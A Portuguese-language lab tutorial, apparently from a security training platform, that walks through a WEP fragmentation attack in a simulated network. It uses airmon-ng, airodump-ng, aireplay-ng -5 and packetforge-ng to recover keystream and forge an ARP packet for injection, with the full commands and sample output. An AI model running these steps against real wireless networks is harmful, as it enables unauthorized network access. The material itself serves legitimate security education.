Realizar um Ataque de Fragmentação contra uma Rede WEP

Beginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá como realizar um ataque de fragmentação contra uma rede criptografada com WEP (Wired Equivalent Privacy). O ataque de fragmentação é uma técnica que permite a um atacante obter uma pequena quantidade do keystream WEP (especificamente, o Pseudo-Random Generation Algorithm ou PRGA) sem conhecer a chave WEP em si.

Uma vez obtido este keystream, ele pode ser usado para criar novos pacotes criptografados válidos. Esses pacotes forjados podem então ser injetados de volta na rede para estimular o tráfego, o que é um passo crucial para quebrar a chave WEP completa.

Você usará o conjunto de ferramentas aircrack-ng para realizar esta tarefa. O processo envolve monitorar a rede alvo, lançar o ataque de fragmentação para obter um arquivo PRGA XOR e, em seguida, usar esse arquivo para forjar um pacote ARP.

Obter um Pacote de Dados do AP Alvo com airodump-ng

Nesta etapa, você preparará sua interface wireless para monitoramento e, em seguida, usará o airodump-ng para capturar o tráfego do Access Point (AP) alvo. O objetivo é capturar pelo menos um pacote de dados, que é necessário para o ataque de fragmentação.

Primeiro, você precisa colocar sua interface wireless em modo de monitoramento. Este modo permite que a placa de rede escute todo o tráfego Wi-Fi no ar, não apenas o tráfego destinado a ela. Usaremos o comando airmon-ng na interface wlan1.

Execute o seguinte comando no seu terminal:

sudo airmon-ng start wlan1

Este comando criará uma nova interface em modo de monitoramento, geralmente chamada wlan1mon. A saída confirmará o nome da nova interface.

PHY     Interface       Driver          Chipset

phy1    wlan1           mac80211_hwsim  Software simulator
                (monitor mode enabled on wlan1mon)

Agora, use o airodump-ng para encontrar nosso AP alvo, "TestWEP", e capturar seu tráfego para um arquivo. Especificaremos o BSSID (02:00:00:00:00:00), o canal (1) e um prefixo de arquivo (capture) para os arquivos de saída.

Execute este comando. Deixe-o rodar por cerca de 30-60 segundos até que você veja a contagem #Data para o AP aumentar, o que indica que pacotes de dados estão sendo capturados.

sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon

Você verá uma saída semelhante a esta. Aguarde até que a coluna #Data mostre um valor maior que 0.

 CH  1 ][ Elapsed: 30 s ][ 2023-10-27 10:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC   CIPHER AUTH ESSID

 02:00:00:00:00:00  -30       25        5    1   1  54   WEP   WEP         TestWEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Assim que você vir que pacotes de dados foram capturados, pressione Ctrl+C para parar o airodump-ng. Você pode usar o comando ls para ver o arquivo de captura gerado, que será nomeado capture-01.cap.

Iniciar o Ataque de Fragmentação com aireplay-ng -5

Nesta etapa, você lançará o ataque de fragmentação usando o aireplay-ng. Este ataque escuta por um pacote do AP alvo e, uma vez que captura um, o utilizará para tentar determinar o keystream PRGA.

O comando para este ataque é aireplay-ng -5. Você precisa especificar o BSSID do AP alvo com o flag -b e o nome da sua interface de monitoramento.

Execute o seguinte comando para iniciar o ataque.

sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon

Após executar o comando, o aireplay-ng começará a escutar por um pacote adequado. O terminal exibirá uma mensagem indicando que está aguardando.

Waiting for a data packet...
Read 221 packets...

A ferramenta continuará a ler pacotes até encontrar um que possa ser usado para o ataque. Na próxima etapa, você interagirá com este processo assim que um pacote adequado for encontrado. Por enquanto, apenas deixe-o rodar.

Aguardar a Mensagem 'Use this packet' do aircrack-ng

Nesta etapa, você continuará o processo iniciado com o aireplay-ng. Após um curto período, o aireplay-ng deverá capturar um pacote utilizável e solicitará sua confirmação.

A ferramenta exibirá os detalhes do pacote e perguntará se você deseja usá-lo.

Waiting for a data packet...
Read 280 packets...
A suitable packet found!
Size: 68
        1.  Use this packet? (y/n)

Quando você vir o prompt Use this packet? (y/n), digite y e pressione Enter.

y

Após a confirmação, o aireplay-ng tentará reconstruir o PRGA a partir do pacote. Se for bem-sucedido, ele salvará o keystream em um arquivo .xor no seu diretório atual (~/project). A saída será algo como isto:

Saving chosen packet to replay_src-1027-100500.cap
Trying to get 68 bytes of keystream
Got keystream!!
Saved keystream in fragment-1027-100501.xor
Now you can build a packet with packetforge-ng

Isso confirma que o ataque foi bem-sucedido e o keystream foi salvo. O arquivo .xor é a chave para forjar novos pacotes.

Gerar um Arquivo PRGA XOR do Ataque Bem-Sucedido

Nesta etapa, você confirmará que o arquivo de keystream PRGA foi criado com sucesso pelo ataque de fragmentação. Este arquivo, que possui a extensão .xor, contém a parte do keystream que recuperamos.

Como você viu na saída da etapa anterior, o aireplay-ng salva o arquivo automaticamente. Você pode verificar sua existência usando o comando ls -l para listar os arquivos em seu diretório atual.

ls -l

A saída deve mostrar vários arquivos, incluindo o arquivo capture-01.cap do airodump-ng e, o mais importante, o novo arquivo .xor. O nome do arquivo variará com base na data e hora.

total 20
-rw-r--r-- 1 root root  119 Oct 27 10:02 capture-01.cap
-rw-r--r-- 1 root root   68 Oct 27 10:05 fragment-1027-100501.xor
-rw-r--r-- 1 root root   114 Oct 27 10:01 hostapd-wep.conf
-rw-r--r-- 1 root root   96 Oct 27 10:05 replay_src-1027-100500.cap

A presença do arquivo fragment-*.xor confirma que você tem o componente necessário para forjar um novo pacote na próxima etapa.

Usar o Arquivo XOR para Forjar Pacotes ARP para Injeção

Nesta etapa, você usará o keystream PRGA recuperado para forjar um novo pacote. Criaremos um pacote de solicitação ARP usando o packetforge-ng. Este pacote forjado pode então ser injetado na rede para gerar mais tráfego, o que é útil para outros ataques, como a quebra da chave WEP.

Primeiro, você precisa saber o endereço MAC da sua interface de ataque (wlan1). Você pode encontrá-lo com o comando ip addr.

ip addr show wlan1

A saída mostrará seu endereço MAC. Neste ambiente simulado, ele é 02:00:00:00:01:00.

3: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff

Agora, construa o comando packetforge-ng.

  • -0: Especifica um pacote de solicitação ARP.
  • -a: O BSSID do AP alvo (02:00:00:00:00:00).
  • -h: O endereço MAC de origem (seu MAC, 02:00:00:00:01:00).
  • -k: O endereço IP de destino (usaremos um IP de broadcast comum, 192.168.1.255).
  • -l: O endereço IP de origem (usaremos um IP de origem comum, 192.168.1.100).
  • -y: O caminho para o arquivo .xor. Podemos usar $(ls *.xor) para usar o arquivo automaticamente.
  • -w: O nome do arquivo de saída para nosso pacote forjado, por exemplo, arp-packet.cap.

Execute o comando:

packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap

A ferramenta confirmará que criou o pacote.

Wrote packet to arp-packet.cap

Você agora criou com sucesso um pacote ARP válido e criptografado sem conhecer a chave WEP. Você pode verificar sua criação com ls. Este pacote está agora pronto para ser injetado na rede.

Resumo

Neste laboratório, você realizou com sucesso um ataque de fragmentação WEP. Você aprendeu uma técnica fundamental na análise de segurança Wi-Fi legada.

Você começou configurando uma interface em modo monitor com airmon-ng e capturando pacotes de dados de um AP alvo usando airodump-ng. Em seguida, você lançou o ataque de fragmentação principal com aireplay-ng -5, o que permitiu recuperar uma porção do keystream WEP.

Finalmente, você usou o keystream recuperado e o packetforge-ng para criar um pacote de solicitação ARP personalizado e criptografado do zero. Este pacote forjado é uma ferramenta crítica para ataques mais avançados, como ataques de repetição de solicitação ARP, que geram rapidamente os milhares de pacotes necessários para quebrar uma chave WEP.